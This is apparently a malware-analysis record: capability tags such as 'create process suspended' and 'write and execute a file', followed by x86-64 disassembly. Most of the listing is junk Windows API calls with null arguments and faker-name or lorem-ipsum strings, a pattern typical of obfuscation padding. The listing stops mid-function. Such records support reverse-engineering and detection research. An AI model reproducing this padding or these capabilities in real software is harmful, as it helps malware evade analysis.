Function at 0x40523d
Capabilities:
Clear file content
Create process on windows
Create process suspended
Set current directory
Write and execute a file

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x968
mov rax, qword [0x004cacb0]
cmp dword [rax], 0x9089
mov qword [rsp + 0x9b0], rcx
mov dword [rsp + 0x9b8], edx
mov qword [rsp + 0x9c0], r8
jle 0x405ade
mov rax, qword [0x004cae20]
xor ecx, ecx
mov dword [rax], 0x2dcab8ce
mov rax, qword [sym.imp.KERNEL32.dll_FindClose]
mov qword [rsp + 0x60], rax
call rax
mov rax, qword [0x004ca640]
lea rcx, str.GerardoBatz
mov edx, dword [rax]
mov rax, qword [0x004ca320]
mov dword [rax], edx
mov rax, qword [sym.imp.KERNEL32.dll_lstrlenA]
mov qword [rsp + 0x50], rax
call rax
mov rax, qword [0x004ca6d0]
xor ecx, ecx
mov dword [rax], 0xc1c0af
mov rax, qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov qword [rsp + 0x68], rax
call rax
mov rbp, qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
xor edx, edx
lea rcx, str.AlessandraLabadie
call rbp
mov rax, qword [0x004ca1b0]
mov ecx, 0xa7fa966c
mov edx, dword [rax]
mov rax, qword [0x004cae70]
mov dword [rax], edx
call fcn.00414620
mov rbx, qword [0x004ca990]
xor edx, edx
xor ecx, ecx
xor r9d, r9d
xor r8d, r8d
mov rsi, qword [sym.imp.ADVAPI32.dll_RegNotifyChangeKeyValue]
mov dword [rbx], eax
mov dword [rsp + 0x20], 0
call rsi
mov r12, qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
xor ecx, ecx
call r12
mov r10, qword [sym.imp.KERNEL32.dll_SetEndOfFile]
xor ecx, ecx
mov qword [rsp + 0x88], r10
call r10
mov ecx, 0x8d2feb37
call fcn.00414620
mov rbx, qword [0x004cab20]
lea rcx, str.RodrickWard
mov dword [rbx], eax
mov rax, qword [0x004ca760]
mov edx, dword [rax]
mov rax, qword [0x004caec0]
mov dword [rax], edx
mov rax, qword [0x004ca770]
mov edx, dword [rax]
mov rax, qword [0x004ca6c0]
mov dword [rax], edx
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
mov r13, qword [sym.imp.KERNEL32.dll_OpenEventA]
xor edx, edx
xor ecx, ecx
lea r8, str.ThurmanLind
call r13
xor ecx, ecx
call r12
mov rax, qword [0x004ca9b0]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x9bfb9d93
mov rax, qword [str.7U5]
mov dword [rax], 0xb8e37abd
mov dword [rsp + 0x20], 0
call rsi
mov rax, qword [sym.imp.KERNEL32.dll_GetFileType]
xor ecx, ecx
mov qword [rsp + 0x70], rax
call rax
lea r8, str.KayaLeffler
xor edx, edx
xor ecx, ecx
call r13
mov r15, qword [sym.imp.KERNEL32.dll_SetLastError]
xor ecx, ecx
call r15
mov rax, qword [0x004ca4c0]
mov rdi, qword [0x004ca450]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca560]
mov dword [rax], edx
mov rax, qword [0x004ca310]
mov eax, dword [rax]
mov dword [rdi], eax
mov rax, qword [0x004cac50]
mov dword [rax], 0xba45131c
call qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
mov r14, qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
lea rdx, str.Laudantium_saepe_enim_deserunt_assumenda_saepe_rerum_mollitia_autem
lea rcx, str.Sequi_aut_neque_praesentium_aut_natus
call r14
mov rbx, qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
xor ecx, ecx
call rbx
xor ecx, ecx
mov rax, qword [rsp + 0x60]
call rax
mov rax, qword [sym.imp.ADVAPI32.dll_ReadEventLogA]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x58], rax
call rax
xor ecx, ecx
call r12
mov rax, qword [0x004cab30]
xor edx, edx
xor ecx, ecx
lea r8, str.Recusandae_quam_unde_voluptatem_deleniti_et_impedit_et_qui_nihil_quaerat
mov dword [rax], 0xbc570be3
call r13
mov rax, qword [0x004cab80]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca9e0]
xor ecx, ecx
mov dword [rdx], eax
call rbx
mov rax, qword [sym.imp.KERNEL32.dll_SetCommMask]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x78], rax
call rax
xor edx, edx
lea rcx, str.JennyferKilbackPhD
call rbp
lea rcx, str.Dolor_sed_similique_quam_quos_sint_alias
mov rax, qword [rsp + 0x50]
call rax
mov rax, qword [0x004ca6a0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cad80]
xor ecx, ecx
mov dword [rdx], eax
call rbx
mov rbx, qword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rbx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rbx
mov rdi, qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
xor edx, edx
xor ecx, ecx
call rdi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
call rsi
mov r11, qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x80], r11
call r11
mov rax, qword [0x004cadd0]
xor edx, edx
xor ecx, ecx
mov rsi, qword [0x004ca9a0]
lea r8, str.MariettaHermannV
mov eax, dword [rax]
mov dword [rsi], eax
call r13
mov rax, qword [0x004ca7b0]
mov ecx, 0x5ae3199
mov dword [rax], 0x730a313e
call fcn.00414620
mov rsi, qword [0x004ca540]
xor edx, edx
xor ecx, ecx
mov dword [rsi], eax
mov rax, qword [0x004cab50]
mov rsi, qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
mov dword [rax], 0x44aed83a
call rsi
xor edx, edx
xor ecx, ecx
call rsi
mov rax, qword [0x004caaf0]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x7e5f6efe
call rdi
mov rax, qword [0x004caa60]
xor ecx, ecx
mov dword [rax], 0x6a535c2b
mov rax, qword [0x004cae50]
mov edx, dword [rax]
mov rax, qword [0x004cabb0]
mov dword [rax], edx
call r12
mov ecx, 0x9f4d3e65
call fcn.00414620
mov rdx, qword [0x004ca990]
xor ecx, ecx
mov dword [rdx], eax
call r15
mov rax, qword [0x004ca450]
mov rdx, qword [0x004ca630]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [rsp + 0x68]
call rax
lea rdx, str.Nihil_odit_vel_et_odit
lea rcx, str.Necessitatibus_ut_eum
call r14
xor edx, edx
lea rcx, str.DrSammieLittleSr
call rbp
mov r10, qword [rsp + 0x88]
xor ecx, ecx
call r10
mov ecx, 0x731eca53
call fcn.00414620
mov rdx, qword [0x004ca9a0]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004ca1b0]
mov edx, dword [rax]
mov rax, qword [0x004caa80]
mov dword [rax], edx
mov rax, qword [rsp + 0x60]
call rax
xor edx, edx
xor ecx, ecx
call rsi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetCommBreak]
xor edx, edx
lea r8, str.ProfBelleBorerIII
xor ecx, ecx
call r13
mov rax, qword [0x004ca540]
mov ecx, dword [rax]
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x004caee0]
mov dword [rdx], eax
mov rax, qword [0x004cab80]
mov edx, dword [rax]
mov rax, qword [0x004caca0]
mov dword [rax], edx
mov rax, qword [0x004ca760]
xor edx, edx
mov dword [rax], 0x552471c0
call rbx
xor ecx, ecx
call r15
mov rax, qword [0x004ca3e0]
mov r13, qword [0x004ca250]
lea rdx, str.AntwanOConnellII
lea rcx, str.EudoraRunteJr
mov eax, dword [rax]
mov dword [r13], eax
call r14
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x78]
call rax
mov r11, qword [rsp + 0x80]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call r11
mov rax, qword [0x004ca820]
mov dword [r13], 0x1a1adc42
mov ecx, dword [rax]
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x004cac60]
mov dword [rdx], eax
xor edx, edx
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call rax
mov ecx, 0x38ba8768
call fcn.00414620
mov rdx, qword [0x004cadc0]
mov r15, qword [sym.imp.ADVAPI32.dll_NotifyChangeEventLog]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call r15
xor edx, edx
mov r13, qword [sym.imp.KERNEL32.dll_FindNextStreamW]
xor ecx, ecx
call r13
mov rax, qword [0x004ca3c0]
lea rcx, str.Et_aut_accusantium_ab_delectus_doloremque_voluptatem_laborum_aut
mov dword [rax], 0xdcbc3d5a
mov rax, qword [rsp + 0x50]
call rax
mov r14, qword [sym.imp.KERNEL32.dll_SetEvent]
xor ecx, ecx
call r14
xor ecx, ecx
call r14
mov rax, qword [0x004cac40]
mov rdx, qword [0x004ca820]
mov ecx, 0xc798e34b
mov r14, qword [0x004ca650]
mov dword [rax], 0x7fae5e53
mov rax, qword [0x004ca1b0]
mov dword [r14], 0x41fad93e
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004cae90]
mov dword [rax], 0x77914a6f
call fcn.00414620
xor ecx, ecx
mov dword [r14], eax
call r12
xor edx, edx
xor ecx, ecx
call r15
xor edx, edx
lea rcx, str.MsReannaHansenMD
call rbp
mov rax, qword [0x004cab50]
lea rcx, str.MrJordyMaggio
mov edx, dword [rax]
mov rax, qword [0x004ca350]
mov dword [rax], edx
xor edx, edx
call rbp
mov rbp, qword [0x004ca9f0]
mov rax, qword [0x004ca720]
xor ecx, ecx
mov edx, dword [rbp]
mov dword [rax], edx
xor edx, edx
call rdi
mov rax, qword [0x004caac0]
xor ecx, ecx
mov dword [rax], 0x635307cd
mov rax, qword [0x004cabc0]
mov dword [rax], 0x1409ff00
mov rax, qword [rsp + 0x70]
call rax
mov rax, qword [0x004ca7d0]
mov ecx, 0x16ba15d9
mov dword [rax], 0x27c695a2
call fcn.00414620
mov rdx, qword [0x004ca7f0]
mov ecx, dword [rbp]
mov dword [rdx], eax
call fcn.00414620
mov rdx, qword [0x004cab20]
mov dword [rdx], eax
mov rax, qword [0x004cac80]
mov ecx, dword [rax]
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x004ca270]
mov dword [rdx], eax
xor edx, edx
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call rax
mov rax, qword [0x004ca6a0]
mov ecx, dword [rax]
call fcn.00414620
mov rbp, qword [0x004cabe0]
xor edx, edx
xor ecx, ecx
mov dword [rbp], eax
call r13
mov rax, qword [0x004cae80]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca2a0]
mov dword [rax], edx
mov rax, qword [0x004caf80]
xor edx, edx
mov dword [rax], 0x834f73b
call rbx
mov rax, qword [0x004ca410]
mov rdx, qword [0x004ca630]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004ca440]
mov dword [rax], 0xc1f5d238
mov rax, qword [rsp + 0x68]
call rax
mov edx, dword [rbp]
mov rax, qword [0x004ca5a0]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov dword [rax], edx
mov rax, qword [0x004caf50]
mov edx, dword [rax]
mov rax, qword [0x004caaa0]
mov dword [rax], edx
xor edx, edx
call rbx
mov rax, qword [0x004ca510]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0xc6a43957
mov rax, qword [rsp + 0x78]
call rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rbx
xor ecx, ecx
mov rax, qword [rsp + 0x70]
call rax
mov ecx, 0xf1abb664
call fcn.00414620
mov rdx, qword [0x004ca550]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call rdi
xor edx, edx
xor ecx, ecx
call rsi
mov ecx, 0x64f294e6
call fcn.00414620
mov rbx, qword [0x004ca310]
xor edx, edx
xor ecx, ecx
xor r9d, r9d
xor r8d, r8d
mov dword [rbx], eax
mov rax, qword [0x004ca5f0]
mov dword [rax], 0x9f52b6b0
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call rax
mov rax, qword [0x004ca2e0]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca530]
mov dword [rax], edx
mov rax, qword [0x004ca6b0]
mov edx, dword [rax]
mov rax, qword [0x004caf30]
mov dword [rax], edx
mov rax, qword [0x004cadd0]
mov edx, dword [rax]
mov rax, qword [0x004ca5b0]
mov dword [rax], edx
xor edx, edx
call r13
mov rax, qword [0x004cab60]
mov ecx, 0xaa70438
mov edx, dword [rax]
mov rax, qword [0x004cadb0]
mov dword [rax], edx
call fcn.00414620
mov rbx, qword [0x004ca780]
lea rcx, str.MattBahringer
mov dword [rbx], eax
mov rax, qword [rsp + 0x50]
call rax
xor edx, edx
xor ecx, ecx
call r15
mov eax, dword [rbx]
mov rbx, qword [0x004ca760]
xor edx, edx
xor ecx, ecx
mov dword [rbx], eax
call r13
xor edx, edx
xor ecx, ecx
call rdi
xor edx, edx
xor ecx, ecx
call rsi
mov rax, qword [0x004ca790]
mov dword [rax], 0x42fdf9e5
mov rax, qword [0x004cacb0]
cmp dword [rax], 0x4b33
jle 0x4063ce
mov rax, qword [0x004ca1e0]
mov rbp, qword [sym.imp.KERNEL32.dll_SetEndOfFile]
xor ecx, ecx
mov dword [rax], 0xc1bbf3ac
call rbp
mov rax, qword [0x004cadb0]
mov rdi, qword [0x004cae30]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdi], eax
call qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
mov r12, qword [0x004cabf0]
mov ecx, 0x170ea998
mov rdi, qword [0x004cad10]
mov eax, dword [r12]
mov dword [rdi], eax
call fcn.00414620
mov rbx, qword [0x004caa80]
mov rdi, qword [sym.imp.KERNEL32.dll_SetEvent]
xor ecx, ecx
mov dword [rbx], eax
call rdi
xor ecx, ecx
call rdi
lea rdx, str.Quos_quasi_saepe
lea rcx, str.ProfYolandaAbernathyDDS
call qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
mov rax, qword [0x004cac50]
mov rsi, qword [0x004cae40]
mov eax, dword [rax]
mov dword [rsi], eax
mov rax, qword [0x004ca630]
mov ecx, dword [rax]
call fcn.00414620
mov r14, qword [0x004caba0]
mov rdx, qword [0x004ca3c0]
xor ecx, ecx
lea r8, str.Vel_voluptate_aut_iure_voluptate_qui
mov dword [rdx], eax
mov eax, dword [r14]
xor edx, edx
mov dword [rsi], eax
mov rax, qword [sym.imp.KERNEL32.dll_OpenEventA]
mov qword [rsp + 0x50], rax
call rax
mov rax, qword [0x004cae80]
mov rsi, qword [0x004caaf0]
xor ecx, ecx
mov rdx, qword [0x004cad90]
mov r15, qword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [rax]
mov dword [rsi], eax
mov rax, qword [0x004ca670]
mov dword [rax], 0xb30ed708
mov rax, qword [0x004caee0]
mov dword [rax], 0x19188055
mov rax, qword [0x004ca3e0]
mov eax, dword [rax]
mov dword [r12], eax
mov dword [rdx], eax
call r15
mov rax, qword [0x004caf20]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca590]
mov dword [rax], edx
call rbp
mov rax, qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x58], rax
call rax
mov rax, qword [0x004caea0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca610]
mov r13, qword [str.Z2iy]
xor ecx, ecx
mov r12, qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov dword [rdx], eax
mov rax, qword [0x004cabb0]
mov eax, dword [rax]
mov dword [r13], eax
call r12
mov r11, qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x78], r11
call r11
lea r8, str.ArnaldoKihn
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call rax
mov rax, qword [0x004ca5c0]
mov rsi, qword [0x004caf40]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rsi], eax
mov rax, qword [0x004cac10]
mov dword [rax], 0x762ccb02
mov rax, qword [0x004ca500]
mov edx, dword [rax]
mov rax, qword [0x004caa60]
mov dword [rax], edx
mov rax, qword [sym.imp.KERNEL32.dll_GetFileType]
mov qword [rsp + 0x60], rax
call rax
mov rax, qword [0x004ca690]
xor ecx, ecx
mov dword [rax], 0x117c5102
call r15
xor ecx, ecx
call rbp
mov rsi, qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
xor edx, edx
lea rcx, str.Ipsam_et_odio_est_nihil_quis_necessitatibus
call rsi
mov rax, qword [0x004cac70]
mov ecx, 0xed5342d2
mov dword [rax], 0x919e1d64
call fcn.00414620
mov rdx, qword [str.eNl.h_Q]
lea rcx, str.Consequatur_illum_debitis_labore_et_omnis_eum
mov dword [rdx], eax
xor edx, edx
call rsi
mov rax, qword [sym.imp.KERNEL32.dll_SetCommMask]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x68], rax
call rax
mov rax, qword [0x004cab80]
mov dword [rax], 0x1433ca69
mov rax, qword [0x004cae50]
mov edx, dword [rax]
mov rax, qword [0x004ca740]
mov dword [rax], edx
mov rax, qword [0x004ca490]
mov edx, dword [rax]
mov rax, qword [0x004ca470]
mov dword [rax], edx
mov rax, qword [0x004ca3d0]
mov rdx, qword [0x004ca750]
mov dword [rax], 0xb6657b64
mov rax, qword [0x004ca620]
mov dword [rax], 0xc256c6d2
mov rax, qword [0x004caf00]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004ca520]
mov dword [rax], 0xe59f7c4f
mov rax, qword [0x004caeb0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca660]
xor ecx, ecx
mov dword [rdx], eax
call r12
mov rax, qword [0x004ca500]
mov ecx, 0xb4c3d21d
mov edx, dword [rax]
mov rax, qword [0x004cae10]
mov dword [rax], edx
call fcn.00414620
xor ecx, ecx
mov dword [r13], eax
mov rax, qword [0x004ca710]
mov dword [rax], 0xb06d52fa
call r12
mov r13, qword [sym.imp.KERNEL32.dll_FindNextStreamW]
xor edx, edx
xor ecx, ecx
call r13
mov rax, qword [0x004ca710]
xor ecx, ecx
mov dword [rax], 0xd21f6137
mov rax, qword [0x004ca5e0]
mov dword [rax], 0x512f3f14
mov rax, qword [0x004ca7e0]
mov dword [rax], 0xc075162b
mov rax, qword [0x004caa70]
mov dword [rax], 0xa9598a0
mov rax, qword [0x004caf40]
mov edx, dword [rax]
mov rax, qword [0x004ca300]
mov dword [rax], edx
mov rax, qword [rsp + 0x60]
call rax
xor ecx, ecx
call r15
mov eax, dword [rbx]
mov rdx, qword [0x004ca700]
mov dword [rdx], eax
mov rax, qword [0x004ca440]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cadc0]
mov r15, qword [0x004cad60]
mov dword [rdx], eax
mov rax, qword [0x004ca460]
mov rdx, qword [0x004ca750]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004ca510]
mov edx, dword [rax]
mov rax, qword [0x004cabd0]
mov dword [rax], edx
mov eax, dword [r15]
mov dword [r14], eax
mov rax, qword [0x004caad0]
mov dword [rax], 0xc4f5edf6
mov rax, qword [0x004caac0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca4c0]
mov r14, qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
xor ecx, ecx
mov dword [rdx], eax
call r14
mov ecx, dword [rbx]
call fcn.00414620
mov rdx, qword [0x004ca600]
mov ecx, 0xcc0b3ddb
mov dword [rdx], eax
call fcn.00414620
mov rbx, qword [0x004ca1d0]
mov dword [rbx], eax
mov rax, qword [0x004cae90]
mov ecx, dword [rax]
call fcn.00414620
xor ecx, ecx
mov dword [r15], eax
call rdi
mov r10, qword [sym.imp.ADVAPI32.dll_RegNotifyChangeKeyValue]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x70], r10
call r10
mov rax, qword [0x004ca7c0]
mov rbx, qword [sym.imp.KERNEL32.dll_SetLastError]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca210]
mov dword [rax], edx
mov rax, qword [0x004ca1a0]
mov edx, dword [rax]
mov rax, qword [0x004cac20]
mov dword [rax], edx
call rbx
mov rax, qword [0x004ca530]
mov ecx, 0xeba687eb
mov dword [rax], 0x61b4781
mov rax, qword [0x004ca480]
mov dword [rax], 0x6d05611
call fcn.00414620
mov rdx, qword [0x004ca3b0]
xor ecx, ecx
mov dword [rdx], eax
call rdi
xor ecx, ecx
call rbx
xor edx, edx
mov r15, qword [sym.imp.ADVAPI32.dll_NotifyChangeEventLog]
xor ecx, ecx
call r15
xor ecx, ecx
call rbp
xor ecx, ecx
call r14
mov rax, qword [0x004ca2f0]
mov rdx, qword [0x004caaa0]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdx], eax
call rbx
mov rax, qword [0x004cadd0]
mov ecx, 0xe51b054
mov edx, dword [rax]
mov rax, qword [0x004ca290]
mov dword [rax], edx
call fcn.00414620
mov rdx, qword [0x004cad40]
xor ecx, ecx
mov dword [rdx], eax
call rbp
mov ecx, 0x1fa24010
call fcn.00414620
mov rdx, qword [0x004ca4f0]
mov rbp, qword [0x004ca350]
xor ecx, ecx
mov dword [rdx], eax
mov edx, dword [rbp]
mov rax, qword [0x004ca3f0]
mov dword [rax], edx
call r12
mov rax, qword [0x004ca700]
mov ecx, dword [rax]
call fcn.00414620
mov rcx, qword [0x004ca440]
mov r12, qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
mov dword [rcx], eax
mov rax, qword [0x004cad10]
lea rcx, str.DrLaurenceThompsonIII
mov dword [rax], 0x46e5ab22
call r12
mov rax, qword [0x004caf40]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca270]
mov dword [rax], edx
call rbx
xor edx, edx
xor ecx, ecx
call r15
mov rax, qword [0x004ca2d0]
xor ecx, ecx
mov dword [rax], 0x2f7e95fd
call rdi
mov ecx, 0x16b09efa
call fcn.00414620
mov rax, qword [0x004ca800]
mov ecx, 0x9780674d
mov dword [rax], 0x8efcbd5d
call fcn.00414620
mov rdi, qword [0x004caf00]
lea rcx, str.Rerum_autem_culpa_saepe_enim_optio_et
mov dword [rdi], eax
mov rax, qword [0x004ca710]
mov edx, dword [rax]
mov rax, qword [0x004caae0]
mov dword [rax], edx
call r12
xor edx, edx
xor ecx, ecx
lea r8, str.Fuga_quia_fuga_quisquam_dolores_excepturi_dolores_quae_maiores_corrupti
mov rax, qword [rsp + 0x50]
call rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
call qword [sym.imp.ADVAPI32.dll_ReadEventLogA]
mov rax, qword [0x004ca640]
mov ecx, dword [rbp]
mov dword [rax], 0x479f0a59
call fcn.00414620
mov rdi, qword [0x004ca530]
mov ecx, 0xaa06c0de
mov dword [rdi], eax
call fcn.00414620
mov rdi, qword [0x004ca700]
mov ecx, 0xf5faec1
mov dword [rdi], eax
mov rax, qword [0x004ca340]
mov edx, dword [rax]
mov rax, qword [0x004ca330]
mov dword [rax], edx
mov rax, qword [0x004cad50]
mov edx, dword [rax]
mov rax, qword [0x004ca360]
mov dword [rax], edx
mov rax, qword [0x004ca6b0]
mov dword [rax], 0x58b115b1
mov rax, qword [0x004ca580]
mov dword [rax], 0xa02cdefc
call fcn.00414620
mov rdx, qword [0x004cac80]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call r15
mov rax, qword [0x004cabb0]
mov ecx, 0xb12349a5
mov edx, dword [rax]
mov rax, qword [0x004cab30]
mov dword [rax], edx
call fcn.00414620
mov rdx, qword [0x004ca420]
mov rdi, qword [0x004caaf0]
mov dword [rdx], eax
mov rax, qword [0x004ca660]
mov eax, dword [rax]
mov dword [rdi], eax
mov rax, qword [0x004ca5d0]
mov ecx, dword [rax]
call fcn.00414620
mov rdi, qword [0x004cadd0]
mov ecx, 0xb2e898bb
mov dword [rdi], eax
mov rax, qword [0x004cae30]
mov rdi, qword [0x004ca1d0]
mov dword [rax], 0x221b7e4f
mov rax, qword [0x004ca1b0]
mov eax, dword [rax]
mov dword [rdi], eax
mov rdi, qword [0x004cab70]
mov dword [rdi], 0xb86de184
call fcn.00414620
mov rdx, qword [0x004ca4a0]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
mov rax, qword [rsp + 0x68]
call rax
mov rax, qword [0x004ca500]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca230]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
mov rax, qword [rsp + 0x58]
call rax
xor edx, edx
xor ecx, ecx
call r13
xor ecx, ecx
mov rax, qword [rsp + 0x60]
call rax
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x68]
call rax
xor ecx, ecx
call r14
mov ecx, 0xf26de1bd
call fcn.00414620
mov rdx, qword [0x004ca250]
mov ecx, 0xb6825758
mov dword [rdx], eax
mov rax, qword [0x004ca7d0]
mov edx, dword [rax]
mov rax, qword [0x004cad70]
mov dword [rax], edx
mov rax, qword [0x004ca9e0]
mov edx, dword [rax]
mov rax, qword [0x004ca2b0]
mov dword [rax], edx
call fcn.00414620
mov rdx, qword [0x004ca7a0]
xor ecx, ecx
mov dword [rdx], eax
call rbx
mov r11, qword [rsp + 0x78]
xor edx, edx
xor ecx, ecx
call r11
xor ecx, ecx
call rbx
mov rax, qword [0x004ca3c0]
xor edx, edx
lea rcx, str.EvertWelch
mov dword [rax], 0x9b4a15b7
call rsi
xor edx, edx
xor ecx, ecx
call r13
mov rax, qword [0x004cab10]
xor r8d, r8d
xor edx, edx
mov rbx, qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
xor ecx, ecx
mov dword [rax], 0xa404bdf7
call rbx
mov rax, qword [0x004ca760]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cade0]
xor r8d, r8d
mov dword [rdi], 0x5b15a9f2
mov dword [rdx], eax
xor edx, edx
xor ecx, ecx
call rbx
xor edx, edx
lea rcx, str.DrCarleeTurner
call rsi
mov r10, qword [rsp + 0x70]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
call r10
mov rax, qword [0x004caee0]
mov ecx, dword [rax]
call fcn.00414620
mov rbx, qword [0x004ca4f0]
xor ecx, ecx
mov dword [rbx], eax
call qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
mov rax, qword [0x004ca9b0]
mov ecx, 0xa457186a
mov rbx, qword [0x004caaa0]
mov eax, dword [rax]
mov dword [rbx], eax
mov rax, qword [0x004ca2e0]
mov dword [rax], 0xb2d869b2
call fcn.00414620
mov rdx, qword [0x004cab20]
mov rbx, qword [sym.imp.KERNEL32.dll_SetCommBreak]
xor ecx, ecx
mov dword [rdx], eax
call rbx
xor edx, edx
lea rcx, str.LethaHackettIII
call rsi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x58]
call rax
xor ecx, ecx
call rbx
mov rax, qword [0x004ca6d0]
mov dword [rax], 0x6e1fde53
mov rax, qword [0x004cacb0]
cmp dword [rax], 0x17c3
jne 0x406cf9
mov rax, qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
lea rdx, str.MrBorisBechtelarDDS
lea rcx, str.AmyConroy
mov qword [rsp + 0x50], rax
call rax
mov rdi, qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
xor ecx, ecx
call rdi
mov rax, qword [0x004ca360]
mov edx, dword [rax]
mov rax, qword [0x004ca4c0]
mov dword [rax], edx
mov rax, qword [0x004caae0]
mov edx, dword [rax]
mov rax, qword [0x004ca680]
mov dword [rax], edx
mov rax, qword [0x004cac10]
mov edx, dword [rax]
mov rax, qword [0x004cabf0]
mov dword [rax], edx
mov rax, qword [0x004ca550]
mov ecx, dword [rax]
call fcn.00414620
mov rbx, qword [0x004ca6d0]
xor ecx, ecx
mov dword [rbx], eax
mov rax, qword [0x004ca540]
mov edx, dword [rax]
mov rax, qword [0x004cadd0]
mov dword [rax], edx
mov rax, qword [sym.imp.KERNEL32.dll_FindClose]
mov qword [rsp + 0x68], rax
call rax
mov r13, qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
xor ecx, ecx
call r13
mov rbx, qword [sym.imp.ADVAPI32.dll_ReadEventLogA]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
